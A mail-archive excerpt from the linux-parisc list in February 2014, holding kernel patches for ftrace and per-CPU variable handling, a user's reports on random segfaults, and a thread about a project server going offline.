+++ b/arch/parisc/kernel/entry.S
@@ -1999,11 +1999,15 @@ ENDPROC(syscall_exit)
 #ifdef CONFIG_FUNCTION_TRACER
 	.import ftrace_function_trampoline,code
 ENTRY(_mcount)
+	bv	%r0(%rp)
+	nop
+	/* not reached */
 	copy	%r3, %arg2
 	b	ftrace_function_trampoline
 	nop
 ENDPROC(_mcount)
 
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
 ENTRY(return_to_handler)
 	load32	return_trampoline, %rp
 	copy	%ret0, %arg0
@@ -2019,7 +2023,19 @@ return_trampoline:
 ftrace_stub:
 	bv	%r0(%rp)
 	nop
+#else /* CONFIG_FUNCTION_GRAPH_TRACER */
+
+ENTRY(ftrace_stub)
+	bv	%r0(%rp)
+	nop
+ENDPROC(ftrace_stub)
+
+#endif /* CONFIG_FUNCTION_GRAPH_TRACER */
+
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
 ENDPROC(return_to_handler)
+#endif /* CONFIG_FUNCTION_GRAPH_TRACER */
+
 #endif	/* CONFIG_FUNCTION_TRACER */
 
 #ifdef CONFIG_IRQSTACKS
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index 5beb97b..8c9f757 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -156,7 +156,7 @@ void ftrace_function_trampoline(unsigned long parent,
 		return;
 
 	if (ftrace_trace_function != ftrace_stub) {
-		ftrace_trace_function(parent, self_addr);
+		ftrace_trace_function(parent, self_addr, NULL, NULL);
 		return;
 	}
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER

--MP_/3h8VShFGUqs0GNBSYtJC9_+--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Thu, 13 Feb 2014 07:37:55 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <8596393.NVJnYl104a@caliban.sf-tec.de>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <2638727.5eeStlFCSi@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart25784955.jI7LQO5N9V"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1392273481 14019 80.91.229.3 (13 Feb 2014 06:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Feb 2014 06:38:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 13 07:38:10 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDpw1-0004aR-C1
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Feb 2014 07:38:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751417AbaBMGiI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Feb 2014 01:38:08 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:33973 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751174AbaBMGiI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Feb 2014 01:38:08 -0500
Original-Received: (qmail 9291 invoked from network); 13 Feb 2014 06:37:42 -0000
Original-Received: from dslc-082-083-023-129.pools.arcor-ip.net ([::ffff:82.83.23.129]:49308 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 13 Feb 2014 07:37:42 +0100
User-Agent: KMail/4.12.2 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.2; x86_64; ; )
In-Reply-To: <2638727.5eeStlFCSi@caliban.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5692>


--nextPart25784955.jI7LQO5N9V
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Dienstag, 11. Februar 2014, 16:30:08 schrieb Rolf Eike Beer:
> > Next week I'll try 3.13, but since it has the same changes I expect the
> > same results.
> 
> I'm now on 3.13.2 and things are similar. While I did an initial test with
> 100 invocations of ssh which went flawlessly I now see random process
> errors again. Examples can be found here:
> http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11
> 
> Normally the reports should have arrived much earlier, but for an unknown
> reason the resolv.conf (generated by DHCP) was empty, I assume that the DHCP
> process has failed during while renewing the IP address. The segfaults
> during the build have not happened with the older kernel.

I can now confirm that the cache coherency fixes are _not_ the reason for those 
failures I see. I have rebuild 3.13.2 without them and still see random 
segfaults in my dashboards. I'll try the mmap() patch next.

Eike
--nextPart25784955.jI7LQO5N9V
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlL8aEkACgkQXKSJPmm5/E4bmQCcDyXNCgsGNJW1mgfJ7nEBsXdx
BN8AoI+pSfxoVeGs/F0m5zDPvvGErd1d
=oZRA
-----END PGP SIGNATURE-----

--nextPart25784955.jI7LQO5N9V--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 15/48] parisc: Replace __get_cpu_var uses for address calculation
Date: Fri, 14 Feb 2014 14:18:56 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20140214201905.495909920@linux.com>
References: <20140214201841.826179349@linux.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1392409224 6617 80.91.229.3 (14 Feb 2014 20:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Feb 2014 20:20:24 +0000 (UTC)
Cc: akpm@linuxfoundation.org, rostedt@goodmis.org,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Feb 14 21:20:30 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WEPFN-0004hh-TL
	for glk-linux-kernel-3@plane.gmane.org; Fri, 14 Feb 2014 21:20:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753104AbaBNUTp (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 14 Feb 2014 15:19:45 -0500
Original-Received: from qmta08.emeryville.ca.mail.comcast.net ([76.96.30.80]:57179 "EHLO
	qmta08.emeryville.ca.mail.comcast.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753046AbaBNUTl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 14 Feb 2014 15:19:41 -0500
Original-Received: from omta04.emeryville.ca.mail.comcast.net ([76.96.30.35])
	by qmta08.emeryville.ca.mail.comcast.net with comcast
	id SKVn1n0030lTkoCA8LKhve; Fri, 14 Feb 2014 20:19:41 +0000
Original-Received: from gentwo.org ([98.213.233.247])
	by omta04.emeryville.ca.mail.comcast.net with comcast
	id SLKe1n00K5Lw0ES8QLKfMp; Fri, 14 Feb 2014 20:19:40 +0000
Original-Received: by gentwo.org (Postfix, from userid 1001)
	id 8ECF662CDD; Fri, 14 Feb 2014 14:19:05 -0600 (CST)
Content-Disposition: inline; filename=this_parisc
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net;
	s=q20121106; t=1392409181;
	bh=FAGGV30AhtkEAxPZsDvtFuU5vFZiR1doA9bCbaY98Xo=;
	h=Received:Received:Received:Message-Id:Date:From:To:Subject:
	 Content-Type;
	b=Hf4Y83uU6TWcxqYATO/2iK6Vf4espWRyv6zfZZQuekqYgVmNiDpHxGdbj12HDGvbY
	 ESv7URl0xUjGn7flIzW2EOiKuHoEEmPwc4ATkdV9/4XclW/2yXjHxWMbrsIffMz1Kt
	 GSxz2l1krxRuSH5LUxPE0+/ec0TgXcmEuLcecbWFjK8gKnPF19WBLhKdDJhBhcgcVn
	 r3BU9l3nnQL4MLUHknypNNMn53RZnxgkRuub8+vsGf7MeCfmKB8fbQDygsHi7YYNft
	 j7zww8JkEiFVda2xD7/t5iAdh+EYt9LSKy0fgLZawNQsnN3zjDNimt1TgG67APtE3u
	 bf+vP0u1Hs7Hg==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1648438 gmane.linux.ports.parisc:5693
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1648438>

Convert to the use of this_cpu_ptr().

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Christoph Lameter <cl@linux.com>

Index: linux/arch/parisc/lib/memcpy.c
===================================================================
--- linux.orig/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/lib/memcpy.c	2013-12-02 16:07:49.844632157 -0600
@@ -470,7 +470,7 @@ static unsigned long pa_memcpy(void *dst
 		return 0;
 
 	/* if a load or store fault occured we can get the faulty addr */
-	d = &__get_cpu_var(exception_data);
+	d = this_cpu_ptr(&exception_data);
 	fault_addr = d->fault_addr;
 
 	/* error in load or store? */
Index: linux/arch/parisc/mm/fault.c
===================================================================
--- linux.orig/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
+++ linux/arch/parisc/mm/fault.c	2013-12-02 16:07:49.844632157 -0600
@@ -151,7 +151,7 @@ int fixup_exception(struct pt_regs *regs
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
-		d = &__get_cpu_var(exception_data);
+		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Sat, 15 Feb 2014 08:47:06 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <1712740.zFjPFKGkFe@caliban.sf-tec.de>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <2638727.5eeStlFCSi@caliban.sf-tec.de> <8596393.NVJnYl104a@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2803824.Pr5NBCKVI2"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1392450429 8379 80.91.229.3 (15 Feb 2014 07:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Feb 2014 07:47:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 15 08:47:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WEZy1-0005md-Py
	for glpp-linux-parisc@plane.gmane.org; Sat, 15 Feb 2014 08:47:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752705AbaBOHrR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Feb 2014 02:47:17 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:55904 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752703AbaBOHrP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Feb 2014 02:47:15 -0500
Original-Received: (qmail 15170 invoked from network); 15 Feb 2014 07:46:48 -0000
Original-Received: from dslb-178-003-164-206.pools.arcor-ip.net ([::ffff:178.3.164.206]:57469 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 15 Feb 2014 08:46:48 +0100
User-Agent: KMail/4.12.2 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.2; x86_64; ; )
In-Reply-To: <8596393.NVJnYl104a@caliban.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5694>


--nextPart2803824.Pr5NBCKVI2
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Donnerstag, 13. Februar 2014, 07:37:55 schrieb Rolf Eike Beer:
> Am Dienstag, 11. Februar 2014, 16:30:08 schrieb Rolf Eike Beer:
> > > Next week I'll try 3.13, but since it has the same changes I expect the
> > > same results.
> > 
> > I'm now on 3.13.2 and things are similar. While I did an initial test with
> > 100 invocations of ssh which went flawlessly I now see random process
> > errors again. Examples can be found here:
> > http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11
> > 
> > Normally the reports should have arrived much earlier, but for an unknown
> > reason the resolv.conf (generated by DHCP) was empty, I assume that the
> > DHCP process has failed during while renewing the IP address. The
> > segfaults during the build have not happened with the older kernel.
> 
> I can now confirm that the cache coherency fixes are _not_ the reason for
> those failures I see. I have rebuild 3.13.2 without them and still see
> random segfaults in my dashboards. I'll try the mmap() patch next.

After 2,5 days with 3.13.2 and 0576da2c08e3d332f1b0653030d28ab804585ab6 I have 
not yet seen a single random segfault.

Eike
--nextPart2803824.Pr5NBCKVI2
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlL/G4AACgkQXKSJPmm5/E6dSwCbBzNeXUbLdJXkPpdahg7OYe4w
m9cAoKEFbvDyEea00LbXzoOwk3BSfC0c
=pyo6
-----END PGP SIGNATURE-----

--nextPart2803824.Pr5NBCKVI2--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: palinux offline
Date: Wed, 19 Feb 2014 12:32:13 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <yq161obm2jm.fsf@sermon.lab.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1392832200 10256 80.91.229.3 (19 Feb 2014 17:50:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Feb 2014 17:50:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 19 18:50:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WGBHc-0007YI-Im
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Feb 2014 18:50:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754438AbaBSRuI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Feb 2014 12:50:08 -0500
Original-Received: from mojo.mkp.net ([70.38.64.14]:40343 "EHLO mojo.mkp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754111AbaBSRuH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Feb 2014 12:50:07 -0500
X-Greylist: delayed 1073 seconds by postgrey-1.27 at vger.kernel.org; Wed, 19 Feb 2014 12:50:07 EST
Original-Received: from mojo.mkp.net (localhost.localdomain [127.0.0.1])
	by mojo.mkp.net (Postfix) with ESMTP id B44AC9E3404;
	Wed, 19 Feb 2014 12:32:13 -0500 (EST)
User-Agent: Gnus/5.130005 (Ma Gnus v0.5) Emacs/24.2 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5696>


palinux.external.hp.com has been offline for several days now and mail
to parisc-linux.org has started to bounce as a result. I'm not sure
whether HP finally pulled the plug or what?

I did message T-Bone a few days ago when I noticed my mail queue was
growing but haven't heard back...

-- 
Martin K. Petersen	Oracle Linux Engineering

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux offline
Date: Wed, 19 Feb 2014 14:15:09 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
References: <yq161obm2jm.fsf@sermon.lab.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392837308 8167 80.91.229.3 (19 Feb 2014 19:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Feb 2014 19:15:08 +0000 (UTC)
To: "Martin K. Petersen" <mkp@mkp.net>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 19 20:15:16 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WGCbx-00054E-P8
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Feb 2014 20:15:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754621AbaBSTPM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Feb 2014 14:15:12 -0500
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:50459 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754505AbaBSTPM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Feb 2014 14:15:12 -0500
Original-Received: from BLU0-SMTP33 ([65.55.111.137]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 19 Feb 2014 11:15:11 -0800
X-TMN: [cY6Gue7VPlC3kvZcQrmsFUceT4O/WJhX]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([76.64.63.76]) by BLU0-SMTP33.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 19 Feb 2014 11:15:10 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <yq161obm2jm.fsf@sermon.lab.mkp.net>
X-OriginalArrivalTime: 19 Feb 2014 19:15:10.0431 (UTC) FILETIME=[E86CF6F0:01CF2DA6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5697>

On 2/19/2014 12:32 PM, Martin K. Petersen wrote:
> palinux.external.hp.com has been offline for several days now and mail
> to parisc-linux.org has started to bounce as a result. I'm not sure
> whether HP finally pulled the plug or what?
The machine crashed and may have a hardware problem.  I don't believe HP
pulled the plug.  Brett Johnson of HP has been looking at it.

The plan was to switch to the mirror at ESIEE on March 1.  Probably, now 
would be
a good time to switch if Thibaut is available.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux offline
Date: Wed, 19 Feb 2014 12:23:54 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <530504CA.50109@landcomp.net>
References: <yq161obm2jm.fsf@sermon.lab.mkp.net> <BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392837830 14699 80.91.229.3 (19 Feb 2014 19:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Feb 2014 19:23:50 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	"Martin K. Petersen" <mkp@mkp.net>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 19 20:23:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WGCkP-00082o-Al
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Feb 2014 20:23:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754692AbaBSTX4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Feb 2014 14:23:56 -0500
Original-Received: from landcomp.net ([192.119.43.5]:17147 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754667AbaBSTX4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Feb 2014 14:23:56 -0500
Original-Received: (qmail 30563 invoked by uid 453); 19 Feb 2014 19:23:51 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES128-SHA encrypted) ESMTPSA; Wed, 19 Feb 2014 12:23:51 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5698>

On 2/19/14 12:15 PM, John David Anglin wrote:
> On 2/19/2014 12:32 PM, Martin K. Petersen wrote:
>> palinux.external.hp.com has been offline for several days now and mail
>> to parisc-linux.org has started to bounce as a result. I'm not sure
>> whether HP finally pulled the plug or what?
> The machine crashed and may have a hardware problem.  I don't believe HP
> pulled the plug.  Brett Johnson of HP has been looking at it.
>
> The plan was to switch to the mirror at ESIEE on March 1.  Probably, now
> would be
> a good time to switch if Thibaut is available.
>
> Dave
>

At least I'm not the only one having hardware issues... got my J6750 
back online a little while ago after a power supply repair and some 
memory re-config. :-)

Dave L.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux offline
Date: Wed, 19 Feb 2014 20:48:39 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <53050A97.2010000@gmx.de>
References: <yq161obm2jm.fsf@sermon.lab.mkp.net> <BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392839317 32507 80.91.229.3 (19 Feb 2014 19:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Feb 2014 19:48:37 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	"Martin K. Petersen" <mkp@mkp.net>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 19 20:48:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WGD8N-0003pM-42
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Feb 2014 20:48:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754642AbaBSTsm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Feb 2014 14:48:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:59456 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754486AbaBSTsm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Feb 2014 14:48:42 -0500
Original-Received: from [192.168.178.60] ([84.173.30.109]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LcVOE-1Wxpcs0vyw-00joh0 for
 <linux-parisc@vger.kernel.org>; Wed, 19 Feb 2014 20:48:40 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
X-Enigmail-Version: 1.6
